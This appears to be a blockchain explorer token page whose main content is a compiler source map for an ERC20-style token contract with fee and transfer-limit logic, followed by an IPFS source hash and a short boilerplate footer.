1;;;13646:68:0;;7186:2:1;13646:68:0;;;7168:21:1;7225:2;7205:18;;;7198:30;7264:34;7244:18;;;7237:62;-1:-1:-1;;;7315:18:1;;;7308:32;7357:19;;13646:68:0;6984:398:1;13646:68:0;-1:-1:-1;;;;;13727:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13779:32;;1361:25:1;;;13779:32:0;;1334:18:1;13779:32:0;;;;;;;13473:346;;;:::o;750:132::-;728:6;;-1:-1:-1;;;;;728:6:0;208:10;814:23;806:68;;;;-1:-1:-1;;;806:68:0;;7589:2:1;806:68:0;;;7571:21:1;;;7608:18;;;7601:30;7667:34;7647:18;;;7640:62;7719:18;;806:68:0;7387:356:1;13827:476:0;13928:24;13955:25;13965:5;13972:7;13955:9;:25::i;:::-;13928:52;;-1:-1:-1;;13995:16:0;:37;;:94;;;;-1:-1:-1;14047:42:0;-1:-1:-1;;;;;14036:53:0;;;;13995:94;13991:305;;;14134:6;14114:16;:26;;14106:68;;;;-1:-1:-1;;;14106:68:0;;7950:2:1;14106:68:0;;;7932:21:1;7989:2;7969:18;;;7962:30;8028:31;8008:18;;;8001:59;8077:18;;14106:68:0;7748:353:1;14106:68:0;14218:51;14227:5;14234:7;14262:6;14243:16;:25;14218:8;:51::i;:::-;13917:386;13827:476;;;:::o;18002:2427::-;-1:-1:-1;;;;;18100:18:0;;18092:68;;;;-1:-1:-1;;;18092:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18179:16:0;;18171:64;;;;-1:-1:-1;;;18171:64:0;;;;;;;:::i;:::-;18252:6;18262:1;18252:11;18248:93;;18280:28;18296:4;18302:2;18306:1;18280:15;:28::i;:::-;18002:2427;;;:::o;18248:93::-;18401:15;18379:14;;18396:2;18379:19;;;;:::i;:::-;:37;18375:108;;;18442:2;18433:6;:11;;;18459:7;:12;18375:108;728:6;;-1:-1:-1;;;;;18499:15:0;;;728:6;;18499:15;;;;:32;;-1:-1:-1;728:6:0;;-1:-1:-1;;;;;18518:13:0;;;728:6;;18518:13;;18499:32;:52;;;;-1:-1:-1;;;;;;18535:16:0;;;;18499:52;:77;;;;-1:-1:-1;;;;;;18555:21:0;;18569:6;18555:21;;18499:77;:90;;;;-1:-1:-1;18581:8:0;;;;18580:9;18499:90;18495:963;;;18611:11;;;;18606:140;;-1:-1:-1;;;;;18651:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;18680:23:0;;;;;;:19;:23;;;;;;;;18651:52;18643:87;;;;-1:-1:-1;;;18643:87:0;;9118:2:1;18643:87:0;;;9100:21:1;9157:2;9137:18;;;9130:30;-1:-1:-1;;;9176:18:1;;;9169:52;9238:18;;18643:87:0;8916:346:1;18643:87:0;-1:-1:-1;;;;;18766:31:0;;;;;;:25;:31;;;;;;;;:71;;;;-1:-1:-1;;;;;;18802:35:0;;;;;;:31;:35;;;;;;;;18801:36;18766:71;18762:685;;;18876:20;;18866:6;:30;;18858:96;;;;-1:-1:-1;;;18858:96:0;;9469:2:1;18858:96:0;;;9451:21:1;9508:2;9488:18;;;9481:30;9547:34;9527:18;;;9520:62;-1:-1:-1;;;9598:18:1;;;9591:51;9659:19;;18858:96:0;9267:417:1;18858:96:0;19007:9;;-1:-1:-1;;;;;10216:18:0;;10189:7;10216:18;;;;;;;;;;;18981:22;;:6;:22;:::i;:::-;:35;;18973:67;;;;-1:-1:-1;;;18973:67:0;;9891:2:1;18973:67:0;;;9873:21:1;9930:2;9910:18;;;9903:30;-1:-1:-1;;;9949:18:1;;;9942:49;10008:18;;18973:67:0;9689:343:1;18973:67:0;18762:685;;;-1:-1:-1;;;;;19079:29:0;;;;;;:25;:29;;;;;;;;:71;;;;-1:-1:-1;;;;;;19113:37:0;;;;;;:31;:37;;;;;;;;19112:38;19079:71;19075:372;;;19189:20;;19179:6;:30;;19171:97;;;;-1:-1:-1;;;19171:97:0;;10239:2:1;19171:97:0;;;10221:21:1;10278:2;10258:18;;;10251:30;10317:34;10297:18;;;10290:62;-1:-1:-1;;;10368:18:1;;;10361:52;10430:19;;19171:97:0;10037:418:1;19075:372:0;-1:-1:-1;;;;;19308:35:0;;;;;;:31;:35;;;;;;;;19303:144;;19398:9;;-1:-1:-1;;;;;10216:18:0;;10189:7;10216:18;;;;;;;;;;;19372:22;;:6;:22;:::i;:::-;:35;;19364:67;;;;-1:-1:-1;;;19364:67:0;;9891:2:1;19364:67:0;;;9873:21:1;9930:2;9910:18;;;9903:30;-1:-1:-1;;;9949:18:1;;;9942:49;10008:18;;19364:67:0;9689:343:1;19364:67:0;19519:4;19470:28;10216:18;;;;;;;;;;;19574;;19551:41;;;19607:22;;;;-1:-1:-1;19618:11:0;;;;;;;19607:22;:35;;;;-1:-1:-1;19634:8:0;;;;19633:9;19607:35;:71;;;;-1:-1:-1;;;;;;19647:31:0;;;;;;:25;:31;;;;;;;;19646:32;19607:71;:101;;;;-1:-1:-1;;;;;;19683:25:0;;;;;;:19;:25;;;;;;;;19682:26;19607:101;:129;;;;-1:-1:-1;;;;;;19713:23:0;;;;;;:19;:23;;;;;;;;19712:24;19607:129;19603:239;;;19753:8;:15;;-1:-1:-1;;19753:15:0;19764:4;19753:15;;;19783:16;19792:6;19783:8;:16::i;:::-;19814:8;:16;;-1:-1:-1;;19814:16:0;;;19603:239;19870:8;;19854:12;;19870:8;;19869:9;:39;;;;-1:-1:-1;;;;;;19883:25:0;;;;;;:19;:25;;;;;;;;19882:26;19869:39;:67;;;;-1:-1:-1;;;;;;19913:23:0;;;;;;:19;:23;;;;;;;;19912:24;19869:67;19854:82;;19949:12;19980:7;19976:402;;;-1:-1:-1;;;;;20008:29:0;;;;;;:25;:29;;;;;;;;20004:229;;;20065:28;20089:3;20065:19;20076:7;;20065:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;20058:35;;20004:229;;;-1:-1:-1;;;;;20131:31:0;;;;;;:25;:31;;;;;;;;20128:105;;;20190:27;20213:3;20190:18;20201:6;;20190;:10;;:18;;;;:::i;:27::-;20183:34;;20128:105;20251:8;;20247:91;;20280:42;20296:4;20310;20317;20280:15;:42::i;:::-;20352:14;20362:4;20352:14;;:::i;:::-;;;19976:402;20388:33;20404:4;20410:2;20414:6;20388:15;:33::i;:::-;18081:2348;;;;18002:2427;;;:::o;12870:595::-;-1:-1:-1;;;;;12954:21:0;;12946:67;;;;-1:-1:-1;;;12946:67:0;;10795:2:1;12946:67:0;;;10777:21:1;10834:2;10814:18;;;10807:30;10873:34;10853:18;;;10846:62;-1:-1:-1;;;10924:18:1;;;10917:31;10965:19;;12946:67:0;10593:397:1;12946:67:0;-1:-1:-1;;;;;13113:18:0;;13088:22;13113:18;;;;;;;;;;;13150:24;;;;13142:71;;;;-1:-1:-1;;;13142:71:0;;11197:2:1;13142:71:0;;;11179:21:1;11236:2;11216:18;;;11209:30;11275:34;11255:18;;;11248:62;-1:-1:-1;;;11326:18:1;;;11319:32;11368:19;;13142:71:0;10995:398:1;13142:71:0;-1:-1:-1;;;;;13249:18:0;;:9;:18;;;;;;;;;;;13270:23;;;13249:44;;13308:12;:22;;;;;;;13359:37;1361:25:1;;;13249:9:0;;:18;13359:37;;1334:18:1;13359:37:0;;;;;;;18002:2427;;;:::o;1210:191::-;1303:6;;;-1:-1:-1;;;;;1320:17:0;;;-1:-1:-1;;;;;;1320:17:0;;;;;;;1353:40;;1303:6;;;1320:17;1303:6;;1353:40;;1284:16;;1353:40;1273:128;1210:191;:::o;17674:186::-;-1:-1:-1;;;;;17757:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;17757:39:0;;;;;;;;;;17812:40;;17757:39;;:31;17812:40;;;17674:186;;:::o;11778:641::-;-1:-1:-1;;;;;11875:18:0;;11867:68;;;;-1:-1:-1;;;11867:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11954:16:0;;11946:64;;;;-1:-1:-1;;;11946:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12096:15:0;;12074:19;12096:15;;;;;;;;;;;12130:21;;;;12122:72;;;;-1:-1:-1;;;12122:72:0;;11600:2:1;12122:72:0;;;11582:21:1;11639:2;11619:18;;;11612:30;11678:34;11658:18;;;11651:62;-1:-1:-1;;;11729:18:1;;;11722:36;11775:19;;12122:72:0;11398:402:1;12122:72:0;-1:-1:-1;;;;;12230:15:0;;;:9;:15;;;;;;;;;;;12248:20;;;12230:38;;12283:13;;;;;;;;;;:23;;;;;;12335:26;;1361:25:1;;;12283:13:0;;12335:26;;1334:18:1;12335:26:0;;;;;;;12374:37;18002:2427;21721:484;21823:4;21779:23;10216:18;;;;;;;;;;;;21844:20;;;21840:59;;21881:7;21721:484;:::o;21840:59::-;21979:18;;21932:15;;21964:33;;21960:99;;;-1:-1:-1;22029:18:0;;21960:99;22089:11;22074:12;:26;22071:84;;;-1:-1:-1;22132:11:0;22071:84;22167:30;22184:12;22167:16;:30::i;8136:98::-;8194:7;8221:5;8225:1;8221;:5;:::i;:::-;8214:12;8136:98;-1:-1:-1;;;8136:98:0:o;8242:::-;8300:7;8327:5;8331:1;8327;:5;:::i;20437:476::-;20527:16;;;20541:1;20527:16;;;;;;;;20503:21;;20527:16;;;;;;;;;;-1:-1:-1;20527:16:0;20503:40;;20572:4;20554;20559:1;20554:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;20554:23:0;;;-1:-1:-1;;;;;20554:23:0;;;;;20598:16;-1:-1:-1;;;;;20598:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20588:4;20593:1;20588:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1;;;;;20588:33:0;;;-1:-1:-1;;;;;20588:33:0;;;;;20632:63;20649:4;20664:16;20683:11;20632:8;:63::i;:::-;20849:15;;20706:199;;-1:-1:-1;;;20706:199:0;;-1:-1:-1;;;;;20706:16:0;:67;;;;;:199;;20788:11;;20814:1;;20830:4;;20849:15;;;;;20879;;20706:199;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20492:421;20437:476;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2440:247::-;2499:6;2552:2;2540:9;2531:7;2527:23;2523:32;2520:52;;;2568:1;2565;2558:12;2520:52;2607:9;2594:23;2626:31;2651:5;2626:31;:::i;2692:248::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;-1:-1:-1;;2860:23:1;;;2930:2;2915:18;;;2902:32;;-1:-1:-1;2692:248:1:o;3179:416::-;3244:6;3252;3305:2;3293:9;3284:7;3280:23;3276:32;3273:52;;;3321:1;3318;3311:12;3273:52;3360:9;3347:23;3379:31;3404:5;3379:31;:::i;:::-;3429:5;-1:-1:-1;3486:2:1;3471:18;;3458:32;3528:15;;3521:23;3509:36;;3499:64;;3559:1;3556;3549:12;3499:64;3582:7;3572:17;;;3179:416;;;;;:::o;3600:388::-;3668:6;3676;3729:2;3717:9;3708:7;3704:23;3700:32;3697:52;;;3745:1;3742;3735:12;3697:52;3784:9;3771:23;3803:31;3828:5;3803:31;:::i;:::-;3853:5;-1:-1:-1;3910:2:1;3895:18;;3882:32;3923:33;3882:32;3923:33;:::i;3993:380::-;4072:1;4068:12;;;;4115;;;4136:61;;4190:4;4182:6;4178:17;4168:27;;4136:61;4243:2;4235:6;4232:14;4212:18;4209:38;4206:161;;4289:10;4284:3;4280:20;4277:1;4270:31;4324:4;4321:1;4314:15;4352:4;4349:1;4342:15;4206:161;;3993:380;;;:::o;4378:127::-;4439:10;4434:3;4430:20;4427:1;4420:31;4470:4;4467:1;4460:15;4494:4;4491:1;4484:15;4510:125;4575:9;;;4596:10;;;4593:36;;;4609:18;;:::i;8106:401::-;8308:2;8290:21;;;8347:2;8327:18;;;8320:30;8386:34;8381:2;8366:18;;8359:62;-1:-1:-1;;;8452:2:1;8437:18;;8430:35;8497:3;8482:19;;8106:401::o;8512:399::-;8714:2;8696:21;;;8753:2;8733:18;;;8726:30;8792:34;8787:2;8772:18;;8765:62;-1:-1:-1;;;8858:2:1;8843:18;;8836:33;8901:3;8886:19;;8512:399::o;10460:128::-;10527:9;;;10548:11;;;10545:37;;;10562:18;;:::i;11805:168::-;11878:9;;;11909;;11926:15;;;11920:22;;11906:37;11896:71;;11947:18;;:::i;11978:217::-;12018:1;12044;12034:132;;12088:10;12083:3;12079:20;12076:1;12069:31;12123:4;12120:1;12113:15;12151:4;12148:1;12141:15;12034:132;-1:-1:-1;12180:9:1;;11978:217::o;12332:127::-;12393:10;12388:3;12384:20;12381:1;12374:31;12424:4;12421:1;12414:15;12448:4;12445:1;12438:15;12464:251;12534:6;12587:2;12575:9;12566:7;12562:23;12558:32;12555:52;;;12603:1;12600;12593:12;12555:52;12635:9;12629:16;12654:31;12679:5;12654:31;:::i;12720:980::-;12982:4;13030:3;13019:9;13015:19;13061:6;13050:9;13043:25;13087:2;13125:6;13120:2;13109:9;13105:18;13098:34;13168:3;13163:2;13152:9;13148:18;13141:31;13192:6;13227;13221:13;13258:6;13250;13243:22;13296:3;13285:9;13281:19;13274:26;;13335:2;13327:6;13323:15;13309:29;;13356:1;13366:195;13380:6;13377:1;13374:13;13366:195;;;13445:13;;-1:-1:-1;;;;;13441:39:1;13429:52;;13536:15;;;;13501:12;;;;13477:1;13395:9;13366:195;;;-1:-1:-1;;;;;;;13617:32:1;;;;13612:2;13597:18;;13590:60;-1:-1:-1;;;13681:3:1;13666:19;13659:35;13578:3;12720:980;-1:-1:-1;;;12720:980:1:o

Swarm Source

ipfs://3d0508d588bd55d4a273a4909c3c10afeaa9399d45b352acca5a29156e111274
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.